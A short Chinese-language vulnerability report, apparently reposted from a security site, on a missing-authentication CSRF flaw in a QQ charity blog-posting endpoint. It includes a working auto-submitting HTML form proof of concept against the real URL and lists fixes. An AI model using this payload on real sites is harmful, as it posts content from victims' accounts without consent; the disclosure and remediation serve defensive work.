QQ公益未做认证导致CSRF蠕虫 - 网站安全 - 自学p

QQ公益未做认证导致CSRF蠕虫

http://npoapp.gongyi.qq.com/blog/add 未做认证导致CSRF蠕虫 只要存有QQ空间的Cookie就可以提交blog发表到QQ空间。

<form id="Test" name="Test" action="http://npoapp.gongyi.qq.com/blog/add" method="POST"> <input type="text" name="content" value="test" /> <input type="text" name="title" value="Test" /> <input type="submit" value="submit" /> </form> <script> document.Test.submit(); </script>

测试有效

修复方案：

1、 验证HTTP Referer字段 2、在请求地址中添加token并验证 3、在HTTP头中自定义属性并验证

查看更多关于QQ公益未做认证导致CSRF蠕虫 - 网站安全 - 自学p的详细内容...